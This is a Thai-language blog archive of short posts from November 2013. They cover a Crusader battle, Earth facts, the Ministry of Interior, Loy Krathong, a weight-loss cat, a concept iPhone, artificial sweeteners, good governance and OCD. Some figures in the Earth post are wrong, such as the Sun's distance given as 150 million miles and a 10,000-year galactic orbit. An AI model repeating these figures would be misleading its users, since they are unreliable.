วันพุธที่ 27 พฤศจิกายน พ.ศ. 2556

ยุทธการมองท์กิซาร์ด (Battle of Montgisard)


ยุทธการมองท์กิซาร์ด (Battle of Montgisard) เกิดขึ้นเมื่อวันที่ 25 พฤศจิกายน 1177 ระหว่างกองทัพของสุลต่านศอลาฮุดดีน (ซาลาดิน) แห่งราชวงศ์อัยยูบีย์ ซึ่งมีไพร่พลราว 26,000 นาย และกองทัพของพระเจ้าบอลวินด์ที่ 4 แห่งราชอาณาจักรเยรูซาเล็ม กษัตริย์หนุ่มพระชนมายุเพียง 16 พรรษาในขณะนั้น โดยบอลวินด์นำทัพอัศวินเทมพลาร์ 475 นาย พร้อมทหารราบราว 2-3 พันนายเข้าร่วมรบ โดยในครั้งนี้ผลปรากฏว่ากองทัพของศอลาฮุดดีนเป็นฝ่ายเพลี้ยงพล้ำและแตกพ่ายไปก่อน ส่งผลให้ได้รับความเสียหายเป็นจำนวนมาก ประมาณราวสองหมื่นนายขึ้นไป ในขณะที่ฝ่ายเยรูซาเล็มซึ่งได้รับชัยชนะ สูญเสียไปราว 1,100 นาย ผลจากความพ่ายแพ้ครั้งนี้ ทำให้สุลต่านศอลาฮุดดีนกลับไปทำการรวบรวมกองทัพอีกครั้ง และพลิกเป็นฝ่ายได้รับชัยชนะในการรบครั้งใหญ่หลายครั้งหลังจากนั้น จนในที่สุดสามารถยึดได้นครเยรูซาเล็มในอีก 10 ปีถัดมา


INFO: ประวัติศาสตร์ตามTimeline

โลก (Earth)

 โลก (Earth) เป็นดาวเคราะห์ที่อยู่ห่างจากดวงอาทิตย์เป็นลำดับที่สาม โดยโลกเป็นดาวเคราะห์หินขนาดใหญ่ที่สุดในระบบสุริยะและเป็นดาวเคราะห์เพียงดวงเดียวที่วิทยาศาสตร์สมัยใหม่ยืนยันได้ว่ามีสิ่งมีชีวิตอาศัยอยู่ ดาวเคราะห์โลกถือกำเนิดขึ้นเมื่อประมาณ 4,570 ล้านปีก่อน และหลังจากนั้นไม่นานนัก ดวงจันทร์ซึ่งเป็นดาวบริวารเพียงดวงเดียวของโลกก็ถือกำเนิดตามมา

โลก มีลักษณะเป็นทรงวงรี โดย ในแนวดิ่งเส้นผ่าศูนย์กลางยาว 12,711 กิโลเมตร ในแนวนอน ยาว 12,755 กิโลเมตร ต่างกัน 44 กิโลเมตร มีพื้นน้ำ 3 ส่วน หรือ 71% และมีพื้นดิน 1 ส่วน หรือ 29 % แกนโลกเอียงประมาณ 23.4 องศา


 โลกหมุนรอบตัวเอง 24 ชั่วโมงในหนึ่งวัน แต่นักวิทยาศาสตร์คำนวณได้ 23.56 ชั่วโมง แต่จะใช้ 24 ชั่งโมงเป็นหลัก และ 365 วันในหนึ่งปี โลกอยู่ห่างจากดวงอาทิตย์ประมาณ 150 ล้านไมล์ และเคลื่อนที่ด้วยความเร็ว 30 กิโลเมตรต่อวินาที หรือ 108,000 กิโลเมตรต่อชั่วโมง


 วงโคจรของดวงจันทร์ อยู่ห่างจากโลก 250,000 ไมล์ ดวงจันทร์จะหันพื้นผิวด้านเดียวเข้าหาโลกอยู่เสมอ และโคจรรอบโลกใช้เวลาประมาณหนึ่งเดือน
โลกเป็นส่วนหนึ่งของระบบสุริยะ และมีวงโคจรรอบดวงอาทิตย์ร่วมกับวัตถุขนาดเล็กกว่าพันชิ้น และดาวเคราะห์อีก 8 ดวง ดวงอาทิตย์และระบบสุริยะเคลื่อนที่ผ่านส่วนแขนออริออน ดาราจักรทางช้างเผือก และจะเคลื่อนที่ครบรอบในอีก 10,000 ปีข้างหน้า



INFO: http://www.nextsteptv.com/mysci/?p=3154

วันพุธที่ 20 พฤศจิกายน พ.ศ. 2556

Underwater Kite ผลิตพลังงานจากคลื่นใต้ทะเล



Underwater Kite หรือ ว่าวใต้สมุทรนี้ใช้คลื่นใต้ทะเลเพื่อผลิตพลังงานเทียบเท่ากับโรงงานนิวเคลียร์ 10 แห่งรวมกัน (20 กิกาวัตต์) โครงการนี้เสนอโดย เดวิด โอลิงเกอร์ จากสถาบันผู้เชี่ยวชาญด้านกังหันน้ำและลม โดยว่าวยักษ์นี้จะยึดติดกับระบบลอยตัวใต้ทะเลจากอ่าวเม็กซิโกถึงมหาสมุทรแอนแลนติก โครงการได้รับการสนับสนุนจาก NSF และโอลิเวอร์กับลูกทีมของเขาเริ่มลงมือวางรูปร่าง พื้นที่วางตัวผลิตพลังงาน และวิเคราะห์ผลกระทบต่อธรรมชาติแล้วในเดือนมกราคมที่ผ่านมา อย่างไรก็ตามปัญหาใหญ่สุดในตอนนี้ของเขาก็คือ จะทำอย่างไรให้ได้พลังงานมากที่สุดจากการลงทุนครั้งนี้


INFO: livescience.com

วันอังคารที่ 19 พฤศจิกายน พ.ศ. 2556

ความฝันของคนเรียนด้านรัฐศาสตร์






เมื่อสำเร็จการศึกษามาก็อยากจะมาทำงานในกระทรวงมหาดไทย เพราะฉะนั้นเรามาทำความรู้จักกับกระทรวงนี้กัน

กระทรวงมหาดไทย มีอำนาจหน้าที่เกี่ยวกับการบำบัดทุกข์บำรุงสุข การรักษาความสงบเรียบร้อยของประชาชน การอำนวยความเป็นธรรมของสังคม การส่งเสริมและพัฒนาการเมืองการปกครอง การพัฒนาการบริหารราชการส่วนภูมิภาค การปกครองท้องที่ การส่งเสริมการปกครองท้องถิ่นและพัฒนาชุมชน การทะเบียนราษฎร ความมั่นคงภายใน กิจการสาธารณภัย และการพัฒนาเมือง และราชการอื่นตามที่มีกฎหมายกำหนดให้เป็นอำนาจหน้าที่ของกระทรวงมหาดไทยหรือส่วนราชการที่สังกัดกระทรวงมหาดไทย

สื่อมวลชนไทยมักเรียกขานกระทรวงมหาดไทยว่า "กระทรวงคลองหลอด" เพราะตั้งอยู่ใกล้คลองหลอดวัดราชบพิธ

ประวัติกระทรวง
พระบาทสมเด็จพระจุลจอมเกล้าเจ้าอยู่หัว รัชกาลที่ 5 ได้มีพระบรมราชโองการตั้งกระทรวงมหาดไทยเมื่อวันที่ 1 เมษายน พ.ศ. 2435 และได้ทรงมอบหมายให้สมเด็จกรมพระยาดำรงราชานุภาพ เป็นองค์ปฐมเสนาบดีกระทรวงมหาดไทย งานของกระทรวงมหาดไทยในระยะเริ่มต้น จัดแบ่งเป็น 3 กรม คือ กรมมหาดไทยกลาง มีหน้าที่ทั่วไป กรมมหาดไทยฝ่ายเหนือ มีหน้าที่ปราบปรามโจรผู้ร้าย และงานด้านอัยการ กรมพลัมภัง มีหน้าที่เกี่ยวกับการปกครองท้องที่

ในปี พ.ศ. 2435 สมเด็จฯ กรมพระยาดำรงราชานุภาพ ได้ทรงจัดระบบการบริหารราชการในส่วนภูมิภาคขึ้นใหม่ เรียกว่า เทศาภิบาล โดยแบ่งการปกครองเป็นมณฑล เมือง และอำเภอ ต่อมาได้มีพระราชบัญญัติว่าด้วยระเบียบราชการบริหารแห่งราชอาณาจักรไทย พ.ศ. 2476 แบ่งโครงสร้างการบริหารราชการแผ่นดินเป็นส่วนกลาง ส่วนภูมิภาค และส่วนท้องถิ่น กระทรวงมหาดไทยจึงมีโครงสร้างตามพระราชบัญญัติจัดตั้งกระทรวง ทบวง กรม พ.ศ. 2476 และพระราชบัญญัติปรับปรุงกระทรวง ทบวง กรม พ.ศ. 2476 โดยมี ผู้ว่าราชการจังหวัด (ข้าหลวง) และนายอำเภอเป็นข้าราชการสังกัดกระทรวงมหาดไทย มีตำแหน่งเป็นประธานคณะกรมการจังหวัด และประธานคณะกรมการอำเภอ ทั้งนี้ในส่วนท้องถิ่นซึ่งได้กำหนดให้มีการปกครองตนเองในรูปต่าง ๆ นั้น ก็อยู่ในความดูแลของกระทรวงมหาดไทยด้วย

หลังจากนั้น ได้มีการปรับปรุงระเบียบบริหารราชการแผ่นดิน และการแบ่งส่วนราชการ กระทรวง ทบวง กรม อีกหลายครั้ง จนในปัจจุบัน

หน้าที่และความรับผิดชอบของกระทรวงมหาดไทย
เมื่อพิจารณาถึงขอบเขตอำนาจหน้าที่ที่มีอยู่ตามบทบัญญัติกฎหมายอื่น ๆ ประกอบด้วยแล้ว ภารกิจและอำนาจหน้าที่ของกระทรวงมหาดไทย สรุปได้ 4 ประการ คือ
1.ด้านการเมืองการปกครองรับผิดชอบเกี่ยวกับการอำนวยการเลือกตังองค์กรปกครองส่วนท้องถิ่น ส่งเสริมให้ประชาชนมีส่วนร่วมทางการเมืองทุกระดับ ส่งเสริมการปกครองระบอบประชาธิปไตย อันมีพระมหากษัตริย์เป็นประมุข การปกครอง และการบริหาร หน่วยราชการส่วนภูมิภาค ส่วนท้องถิ่น และการรักษาความมั่นคงของชาติ
2ด้านเศรษฐกิจ รับผิดชอบเกี่ยวกับการส่งเสริมอาชีพและความเป็นอยู่ของประชาชน ซึ่งจะต้องประสานกับส่วนราชการต่า ๆ ของกระทรวง ทบวง กรมต่าง ๆ นอกจากนี้ยังรับผิดชอบการจัดตั้งกลุ่มเกษตรกร
3.ด้านสังคมรับผิดชอบเกี่ยวกับการพัฒนาเยาวชน และการรักษาความสงบเรียบร้อยของสังคม
4.ด้านการพัฒนาทางกายภาพ รับผิดชอบเกี่ยวกับการจัดชุมชนการจัดที่ดิน การให้บริการขั้นพื้นฐานในชนบท การจัดผังเมืองรวม ผังเมืองเฉพาะ และการให้บริการสาธารณะ


หน่วยงานในสังกัดและหน่วยงานภายใต้การกำกับดูแล


กระทรวงมหาดไทยแบ่งส่วนราชการออกเป็น 8 กรม และมีหน่วยงานภายใต้การกำกับดูแล 5 รัฐวิสาหกิจ ดังนี้
1.สำนักงานรัฐมนตรี
2.สำนักงานปลัดกระทรวงมหาดไทย
3.กรมการปกครอง
4.กรมการพัฒนาชุมชน
5.กรมที่ดิน
6.กรมป้องกันและบรรเทาสาธารณภัย
7.กรมโยธาธิการและผังเมือง
8.กรมส่งเสริมการปกครองท้องถิ่น

รัฐวิสาหกิจ
1.การไฟฟ้านครหลวง
2.การไฟฟ้าส่วนภูมิภาค
3.การประปานครหลวง
4.การประปาส่วนภูมิภาค
5.องค์การตลาด


INFO: วิกิพีเดีย สารานุกรมเสรี

วันอาทิตย์ที่ 17 พฤศจิกายน พ.ศ. 2556

บันทึกเล็กๆ อีกหนึ่งวัน



พยายามทำสมาธิให้จิตใจว่างเปล่า แต่ยังมีเรื่องราวต่างๆ เข้ามารบกวนให้ขาดสมาธิ ทำให้จิตไม่นิ่ง คิดเรื่องไปต่างๆ นาๆ หาความสงบสุขให้จิตใจ ไม่ได้ พยายามข่มใจว่า ทุกสิ่งอนิจัง ทุกสิ่งไม่เที่ยง เกิดมาแล้วก็ต้องตาย แต่ความคิดต่างๆ ก็ยังวนเวียนเข้ามา จิตไม่นิ่ง จิตเป็นกังวล แกล้งไม่สนใจ ก็ไม่ได้ สมาธินี่คงต้องฝึกอีกเยอะ ตัดเรื่องรังควาญใจออกไปให้หมด ให้จิตนิ่ง ให้สงบภายใน

ด้วยภาระของความเป็นมนุษย์ ที่ยังไม่ประสบความสำเร็จ จำเป็นต้องออกหากิน ต่อสู้ดิ้นรน ความทุกข์ความเครียดต่างๆ ย่อมประดังเข้ามาในจิตใจเป็นธรรมดา แต่ก็ยังพยายามที่จะบอกกับใจตัวเองว่า ขอเวลา สัก 10 นาที 20 นาที 30 นาที หยุดโลก หยุดเรื่องราวต่างๆ ออกไป มันเล่นที่จิตใจ เป็นเคลื่อนรบกวนให้เราขาดสมาธิ

เมื่อจิตเริ่มนิ่งในระดับหนึ่ง ความพะวงกับสังขารก็เกิดขึ้น มันคันยุกหยิกไปทั่ว มันเริ่มปวดเริ่มเมื่อย เพราะจิตกับกายยังตัดกันไม่ขาด ถ้าควบคุมจิตได้ ก็น่าจะควบคุมสังขารได้ แต่ต้องฝึกกันอีกเยอะ

ไม่มีอะไรได้มาง่ายๆ ต้องอดทน ต้องฝึกกันอีกเยอะ

ประวัติ วันลอยกระทง



วันลอยกระทง เป็นวันสำคัญวันหนึ่งของชาวไทย ตรงกับวันขึ้น 15 ค่ำ เดือน 12 ตามปฏิทินจันทรคติไทย ตามปฏิทินจันทรคติล้านนา มักจะตกอยู่ในราวเดือนพฤศจิกายน ตามปฏิทินสุริยคติ ประเพณีนี้กำหนดขึ้นเพื่อเป็นการสะเดาะเคราะห์และขอขมาต่อพระแม่คงคา บางหลักฐานเชื่อว่าเป็นการบูชารอยพระพุทธบาทที่ริมฝั่งแม่น้ำนัมทามหานที และบางหลักฐานก็ว่าเป็นการบูชาพระอุปคุตอรหันต์หรือพระมหาสาวก สำหรับประเทศไทยประเพณีลอยกระทงได้กำหนดจัดในทุกพื้นที่ทั่วประเทศ โดยเฉพาะอย่างยิ่งบริเวณที่ติดกับแม่น้ำ ลำคลอง หรือ แหล่งน้ำต่าง ๆ ซึ่งแต่ละพื้นที่ก็จะมีเอกลักษณ์ที่น่าสนใจแตกต่างกันไป

ในวันลอยกระทง ผู้คนจะพากันทำ "กระทง" จากวัสดุอุปกรณ์ต่าง ๆ ตกแต่งเป็นรูปคล้ายดอกบัวบาน ปักธูปเทียน และนิยมตัดเล็บ เส้นผม หรือใส่เหรียญกษาปณ์ลงไปในกระทง แล้วนำไปลอยในสายน้ำ (ในพื้นที่ติดทะเล ก็นิยมลอยกระทงริมฝั่งทะเล) เชื่อว่าเป็นการลอยเคราะห์ไป นอกจากนี้ยังเชื่อว่าการลอยกระทง เป็นการบูชาและขอขมาพระแม่คงคาด้วย

สำหรับประเทศไทยปัจจุบัน มีการล่วงละเมิดทางเพศเกิดขึ้นมากอย่างยิ่งในวันลอยกระทง ผลสำรวจของสำนักงานกองทุนสนับสนุนการสร้างเสริมสุขภาพเมื่อเดือนพฤศจิกายน 2555 พบว่า เทศกาลลอยกระทงชักนำให้วัยรุ่นไทยร่วมประเวณีกันมากที่สุด มีความเป็นไปได้ที่เยาวชนไทยร้อยละ 38 จะถูกล่วงละเมิดทางเพศในวันลอยกระทง ทั้งนี้ เพราะเทศกาลลอยกระทงจัดในยามค่ำคืน หนุ่มสาวพบเจอกันได้ง่ายและมักเสพสุรายาเมากัน[1] นอกจากนี้ มหาเถรสมาคมยังเปิดเผยด้วยว่า ในภาคอีสานมักจัดงานวัดซึ่งประกอบด้วยการเสพของมึนเมาและจัดแสดงอนาจารในคืนลอยกระทง



INFO: http://th.wikipedia.org/wiki/

Ulric อัลริค แมวหนัก 30 ปอนด์ (ประมาณ 13.6 กิโลกรัม)



อัลริค แมวป่าพันธุ์นอร์เวย์มีขนาดใหญ่กว่าแมวสายพันธุ์เดียวกันตัวอื่นกว่า 2 เท่า ด้วยน้ำหนักถึง 30 ปอนด์ ทำให้อัลริคเป็นแมวที่หนักที่สุดในการแข่งขันลดน้ำหนักที่จัดโดย PDSA อัลริคเป็นแมวที่ชอบการกินเป็นชีวิตจิตใจ ถ้าอัลริครู้สึกไม่พอใจกับอาหารในจานของตัวเอง มันก็จะไปแย่งอาหารจากจานของ อัลล่า(น้องสาวของมัน) มากิน จนทำให้อัลริคมีน้ำหนักถึง 17 ปอนด์ ตั้งแต่อายุเพียง 15 เดือน และนั่นเป็นเหตุผลที่ แจน มิตเชลล์ ส่งอัลริคเข้าประกวดลดน้ำหนักสัตว์เลี้ยง มิตเชลล์พยายามทำให้
อัลริคขยับตัวบ้าง โดยการจับอัลริคใส่สายจูงไปเดินเล่น แต่ก็ไม่เป็นผล มิตเชลล์จึงพาอัลริคไปองค์กรสัตวแพทย์การกุศลแห่งสหราชอาณาจักร the People’s Dispensary for Sick Animals อัลริคได้รับการบันทึกว่าเป็นหนึ่งใน 21 สัตว์เลี้ยงน้ำหนักเกินประจำปี และต้องเข้ารับการควบคุมอาหารและออกกำลังกายเป็นเวลา 6 เดือน


INFO: www.facebook.com/samrujlok, www.nextsteptv.com

วันเสาร์ที่ 16 พฤศจิกายน พ.ศ. 2556

iPhone Air

ความบางและเบาถือเป็นคอนเซปต์ต้นๆของการออกแบบอุปกรณ์สื่อสารรุ่นใหม่ๆ แม้ iPhone 5s จะมาพร้อมสีตัวเครื่องใหม่แต่ภายนอกโดยรวมแทบไม่มีอะไรเปลี่ยนแปลง ดังนั้น iPhone รุ่นปี 2014 จึงเป็นที่คาดหวังว่าจะมากับอะไรใหม่ๆ ที่ฉีกแนวจากปัจจุบันหรือจะลอกคอนเซปต์จาก iPad Air ก็ถือว่าน่าดูไม่ใช่เล่น


iPhone รุ่นปี 2014 แม้จะมีแค่ข้อมูลตัวหนังสือให้เราอ่านกันผ่านๆ แต่สำหรับ Federico Ciccarese นักออกแบบชาวอิตาลีจึงใช้ไอเดียของตัวเองสร้างสรรค์ "iPhone Air" ขึ้นมา เห็นแค่ชื่อแล้วก็พอเดาได้ว่าได้แรงบันดาลใจมาจาก iPad Air อย่างไม่ต้องสงสัย ซึ่งแน่นอนว่า iPhone Air เบาและเบากว่ารุ่นปัจจุบันนี้มาก ถึงแม้จะเป็นเพียงแค่จินตนาการของนักออกแบบ แต่ก็ไม่ต้องเดาเลยว่าผู้ที่กำลังใช้ iPhone รุ่นเก่าหรือต้องการเปลี่ยนมาใช้ iPhone เป็นครั้งแรกย่อมอยากเห็นสิ่งใหม่เกิดขึ้นจนรู้สึกว่า "ไม่มีไม่ได้แล้ว"




สำหรับ iPad Air หรือ iPad 5 ถูกยกให้เป็นแท็บเล็ตไฮเอนด์ที่เบาที่สุดในโลกในขณะนี้ แถมยังมีชื่อใกล้เคียงกับ Macbook Air ทำให้นักวิเคราะห์ในต่างประเทศต่างมองว่า Apple อาจกำลังวางแผนยกระดับ iPad ให้เหมาะแก่การใช้งานเหมือนคอมพิวเตอร์ทั่วไป ซึ่งเป็นไปได้ว่า iPad รุ่นหน้าอาจมาในชื่อ "iPad Pro"


INFO: Arip

เผย น้ำตาลเทียม คือศัตรูของคนอยากผอม


เอเอฟพี – หากคุณเป็นคนหนึ่งที่คิดว่าการรับประทานน้ำตาลเทียมแล้วจะช่วยให้ได้รับพลังงานส่วนเกินน้อยลง คุณจะต้องเปลี่ยนความคิดแน่ๆ หลังจากที่อ่านงานวิจัยใหม่ของมหาวิทยาลัยเยลแล้ว

งานวิจัยฉบับใหม่ของเยลพบว่า การรับประทานผลิตภัณฑ์รสหวานที่ให้พลังงานต่ำ แท้ที่จริงแล้วเป็นการบั่นทอนความพยายามลดปริมาณแคลอรีที่บริโภคเข้าไป เพราะจะไปกระตุ้นให้เราต้องการรับประทานอาหารที่มีแคลอรีสูงขึ้นในภายหลัง

หรือ อย่างที่นักวิทยาศาสตร์บอกว่า ถึงแม้เราจะมีความตั้งใจดีก็ตาม แต่อย่างไรเสียน้ำตาลเทียมพวกนี้ก็หลอกสมองของเราไม่ได้

นั่นก็เป็นเพราะว่า ในงานวิจัยที่ใช้หนูทดลองชิ้นนี้ นักวิทยาศาสตร์ได้สังเกตเห็นว่า สัญญาณเฉพาะทางสรีรวิทยาอย่างหนึ่ง ที่มีหน้าที่ควบคุมระดับสารโดปามีน ซึ่งเป็นสารเคมีที่จะหลั่งออกมาเมื่อเกิดความรู้สึกพึงพอใจ จะเพิ่มสูงขึ้นเมื่อน้ำตาลสลายตัวอยู่ในรูปที่สามารถเผาผลาญและเป็นพลังงานแก่ร่างกายได้

ในการวิจัยครั้งนี้ คณะนักวิทยาศาสตร์ได้ทำการทดสอบทางพฤติกรรมที่เกี่ยวข้องกับสารให้ความหวานและน้ำตาล และวัดปฏิกิริยาเคมีที่เกิดขึ้นในวงจรของสมอง

“ตามข้อมูลที่ได้ เมื่อเราให้สสาร (น้ำตาลเทียม) ที่ไปรบกวนขั้นตอนสำคัญยิ่งในกระบวนการ ‘เปลี่ยนน้ำตาลเป็นพลังงาน’ สัตว์ทดลองจะรู้สึกสนใจบริโภคสารให้ความหวานน้อยลงอย่างเห็นได้ชัด ในเวลาเดียวกันระดับของโดปามีนในสมองก็ลดลงไปมากเช่นกัน” อีวัน เด อาเราโจ หัวหน้าคณะผู้เขียนของวารสาร “Journal of Physiology” อธิบาย

ในบทความแสดงความคิดเห็นซึ่งตีพิมพ์ในวารสาร “Trends in Endocrinology & Metabolism” เมื่อช่วงฤดูร้อนนี้ คณะผู้เชี่ยวชาญอ้างถึงงานวิจัยคล้ายๆ กันซึ่งชี้ว่า การรับประทานสารให้ความหวานที่ให้พลังงาน 0 กิโลแคลอรี จะไปเปลี่ยนแปลงศูนย์ความสุขในสมอง และทำให้ร่างกายแสดงปฏิกิริยาตอบสนองรสหวานแบบเบื่อหน่ายหดหู่ ส่งผลให้หนูทดลองหันมากินอาหารที่ให้พลังงานสูงขึ้นในภายหลัง

นอกจากนี้ น้ำตาลเทียมยังมีส่วนทำให้เป็นโรคอ้วน โรคเบาหวานประเภท 2 และโรคหลอดเลือดหัวใจ

บทเรียนทั้งหมดที่ได้จากงานวิจัยชิ้นนี้คือ ควรจำกัดการบริโภคสารให้ความหวานแทนน้ำตาล หมั่นดื่มน้ำเปล่า และถ้าอยากกินของหวานจนทนไม่ได้ ก็ลองเปลี่ยนไปดื่มน้ำผลไม้ที่มีกากใยสูง และไม่ผ่านกระบวนการสังเคราะห์ หรือพวกสมูทตีแทน


INFO: ASTVผู้จัดการออนไลน์

หลักธรรมาภิบาล


หลักธรรมาภิบาล หรืออาจเรียกได้ว่า " การบริหารกิจการบ้านเมืองที่ดี หลักธรรมรัฐ และบรรษัทภิบาล ฯลฯ " ซึ่งเรารู้จักกันในนาม " Good Governance " ที่หมายถึง การปกครองที่เป็นธรรมนั้น ไม่ใช่แนวความคิดใหม่ที่เกิดขึ้นในสังคม แต่เป็นการสะสมความรู้ที่เป็นวัฒนธรรมในการอยู่ร่วมกันเป็นสังคมของมวลมนุษย์เป็นพันๆปี ซึ่งเป็นหลักการเพื่อการอยู่ร่วมกันในบ้านเมืองและสังคมอย่างมีความสงบสุข สามารถประสานประโยชน์และคลี่คลายปัญหาข้อขัดแย้งโดยสันติวิธีและพัฒนาสังคมให้มีความยั่งยืน

องค์ประกอบของหลักธรรมาภิบาล
มีองค์ประกอบที่สำคัญ 6 ประการดังนี้
1. หลักนิติธรรม คือ การตรากฏหมาย กฏ ระเบียบข้อบังคับและกติการต่างๆให้ทันสมัยและเป็นธรรม ตลอดจนเป็นที่ยอมรับของสังคมและสมาชิก โดยมีการยินยอมพร้อมใจและถือปฏิบัติร่วมกันอย่างเสมอภาคและเป็นธรรม กล่าวโดยสรุป คือ การสถาปนาการปกครองภายใต้กฏหมาย มิใช่ กระทำกันตามอำเภอใจหรืออำนาจของบุคคล

2. หลักคุณธรรม คือ การยึดถือและเชื่อมั่นในความถูกต้องดีงาม โดยการรณรงค์เพื่อสร้างค่านิยมที่ดีงามให้ผู้ปฏิบัติงานในองค์กรหรือสมาชิกของสังคมถือปฏิบัติ ได้แก่ ความซื่อสัตย์สุจริต ความเสียสละ ความอดทนขยันหมั่นเพียร ความมีระเบียบวินัย เป็นต้น

3. หลักความโปร่งใส คือ การทำให้สังคมไทยเป็นสังคมที่เปิดเผยข้อมูลข่าวสารอย่างตรงไปตรงมา และสามารถตรวจสอบความถูกต้องได้โดยการปรับปรุงระบบและกลไกการทำงานของค์กรให้มีความโปร่งใส

4. หลักความมีส่วนร่วม คือ การทำให้สังคมไทยเป็นสังคมที่ประชาชนมีส่วนร่วมรับรู้และร่วมเสนอความเห็นในการตัดสินใจสำคัญๆของสังคม โดยเปิดโอกาสให้ประชาชนมีส่วนร่วมรับรู้และร่วมเสนอความเห็นในการตัดสินใจสำคัญๆของสังคม โดยเปิดโอกาสให้ประชาชนมีช่องทางในการเข้ามามีส่วนร่วม ได้แก่ การแจ้งความเห็น การไต่สวน สาธารณะ การประชาพิจารณ์ การแสดงประชามติ หรืออื่นๆ และขจัดการผูกขาดทั้งโดยภาครัฐหรือโดยภาคธุรกิจเอกชน ซึ่งจะช่วยให้เกิดความสามัคคีและความร่วมมือกันระหว่างภาครัฐและภาคธุรกิจเอกชน

5. หลักความรับผิดชอบ คือ ผู้บริหาร ตลอดจนคณะข้าราชการทั้งฝ่ายการเมืองและข้าราชการประจำ ต้องตั้งใจปฏิบัติภารกิจตามหน้าที่อย่างดียิ่ง โดยมุ่งให้บริการแก่ผู้มารับบริการเพื่ออำนวยความสะดวกต่างๆ มีความรับผิดชอบต่อความบกพร่องในหน้าที่การงานที่ตนรับผิดชอบอยู่และพร้อมที่จะปรับปรุงแก้ไขได้ทันท่วงที

6. หลักความคุ้มค่า คือ ผู้บริหาร ต้องตระหนักว่ามีทรัพยากรค่อนข้างจำกัด ดังนั้นในการบริหารจัดการจำเป็นจะต้องยึดหลักความประหยัดและความคุ้มค่า ซึ่งจำเป็นจะต้องตั้งจุดมุ่งหมายไปที่ผู้รับบริการหรือประชาชนโดยรวม

อาการย้ำคิดย้ำทำ



อาการย้ำคิด (Ob session) คือ การมีความคิดหรือความรู้สึกที่เกิดขึ้นเองซ้ำๆ โดยไร้เหตุผล ซึ่งก่อให้เกิดความกังวลใจ ความไม่สบายใจอย่างมาก เช่น คิดซ้ำๆ ว่าจะทำร้ายหรือทำสิ่งไม่ดีกับคนที่ตนรัก คิดซ้ำๆ ว่าลบหลู่หรือด่าว่าสิ่งศักดิ์สิทธิ์ คิดซ้ำๆ ว่า ลืมปิดแก๊สหรือลืมล็อกประตู เป็นต้น โดยที่ตนเองก็ไม่เข้าใจว่าเหตุใดจึงเกิดความคิดเช่นนั้น

อาการย้ำทำ (Com pulsion) คือ พฤติกรรมหรือการกระทำบางอย่างซ้ำๆ เพื่อป้องกันหรือช่วยลดความไม่สบายใจจากความย้ำคิดข้างต้น และเป็นการกระทำที่ตนเองก็รู้สึกได้ว่าไร้เหตุผล ไร้สาระที่จะกระทำ แต่ก็หักห้ามจิตใจไม่ให้ทำไม่ได้ เช่น เช็ก ลูกบิดประตูหรือวาล์วแก๊สซ้ำๆ เพื่อให้แน่ใจว่าปิดเรียบ ร้อยแล้ว ล้างมือซ้ำเพราะคิดว่ามือสกปรก เป็นต้น

ส่วนใหญ่ผู้ป่วยมักไปพบแพทย์ฝ่ายกายมากกว่ามาพบจิตแพทย์โดยตรง อาการที่นำมาพบแพทย์ได้บ่อยๆ เช่น แผลถลอกที่มือ มือเปื่อย เหงือกอักเสบจากการแปรงฟันบ่อยๆ ในผู้ป่วยเด็กพ่อแม่อาจพามาตรวจด้วยปัญหาพฤติกรรมซ้ำๆ ของเด็ก

ในผู้ป่วยที่มาพบจิตแพทย์โดยตรงมักมาด้วยอาการย้ำคิดเกี่ยวกับเรื่องความสะอาด ความ เป็นระเบียบเรียบร้อย พฤติกรรมทางเพศ และพฤติกรรมรุนแรง และอาการย้ำทำ เช่น ตรวจเช็กกลอนประตู ถามเรื่องเดิมซ้ำซาก ล้างมือ นับสิ่งของ การจัดวางของให้เป็นระเบียบซ้ำๆ ผู้ป่วยบางรายมาด้วยอาการย้ำคิดหลายๆ เรื่อง หรือย้ำทำหลายๆ พฤติกรรม ทำให้รบกวนการใช้ชีวิตประจำวันของผู้ป่วยอย่างมาก

 
สาเหตุการเกิดของโรคนี้มีอยู่ 2 ปัจจัยหลักใหญ่ แบ่งเป็น

1.ปัจจัยด้านชีวภาพ พบว่าในผู้ป่วยโรคย้ำคิดย้ำทำมีความ ผิดปรกติของสารสื่อประสาทบางชนิด เช่น สารซีโรโตนิน การทำงานของสมองส่วนหน้า (frontal lobe) caudate และ cingulum เพิ่มมากกว่าปรกติ รวมถึงปัจจัยด้านพันธุกรรมก็อาจมีส่วนเกี่ยวข้องด้วย

2.ปัจจัยด้านจิตใจ ผู้ป่วยอาจมีความขัดแย้งในระดับจิต ใต้สำนึก และพยายามใช้กลไกทางจิตเพื่อจัดการกับความตึง เครียดในใจ แต่ไม่ได้ผล กลับส่งผลให้เกิดการแสดงออกเป็นอาการดังกล่าว

ลักษณะการดำเนินโรคนั้น ส่วนใหญ่อาการมักเป็นอย่างเฉียบพลัน ร้อยละ 50-70 มีความเครียดนำมาก่อน เช่น การตั้งครรภ์ ปัญหาทางเพศ ญาติ หรือคนใกล้ชิดตายจากไป

แม้ว่าคนเป็นโรคนี้จะป่วยเรื้อรัง แต่หลังจากได้รับการรักษาแล้ว กว่าร้อยละ 80 ของผู้ป่วย มีอาการดีขึ้นมากจนใช้ชีวิตได้เกือบปรกติ คงเหลือเพียงร้อยละ 20 เท่านั้นที่อาการคงเดิมหรืออาจแย่ลง

การรักษาที่ดีที่สุดคือ การใช้พฤติกรรมบำบัด ร่วมกับยาแก้โรคย้ำคิดย้ำทำ

1.ยาแก้โรคย้ำคิดย้ำทำ ยาเหล่านี้ช่วยปรับสมดุลของสารสื่อประสาทซีโรโตนินจนเป็นปรกติ ซึ่งหลังจากรักษาอาการเป็นปรกติแล้ว แพทย์ยังต้องให้การรักษาต่อเนื่องเพื่อป้องกันการกลับมาเป็นอีกระยะหนึ่งจึงหยุดยา

2.พฤติกรรมบำบัด โดยให้ฝึกเผชิญกับสิ่งที่กังวลหรือกลัว (Exposure therapy) อย่างน้อยวันละ 1 ชั่วโมง ร่วมกับการพยายามไม่ให้สนใจอาการของโรค และหาวิธีป้องกันการกระทำซ้ำๆ (Response prevention) ทั้งนี้ ก็เพื่อส่งเสริมให้ผู้ป่วยกลับไปทำหน้าที่ตามเดิมให้ได้มากที่สุด


ที่มา : ผศ.นพ.สมบัติ ศาสตร์รุ่งภัค

วาซาบิ ความเผ็ดที่มีประโยชน์


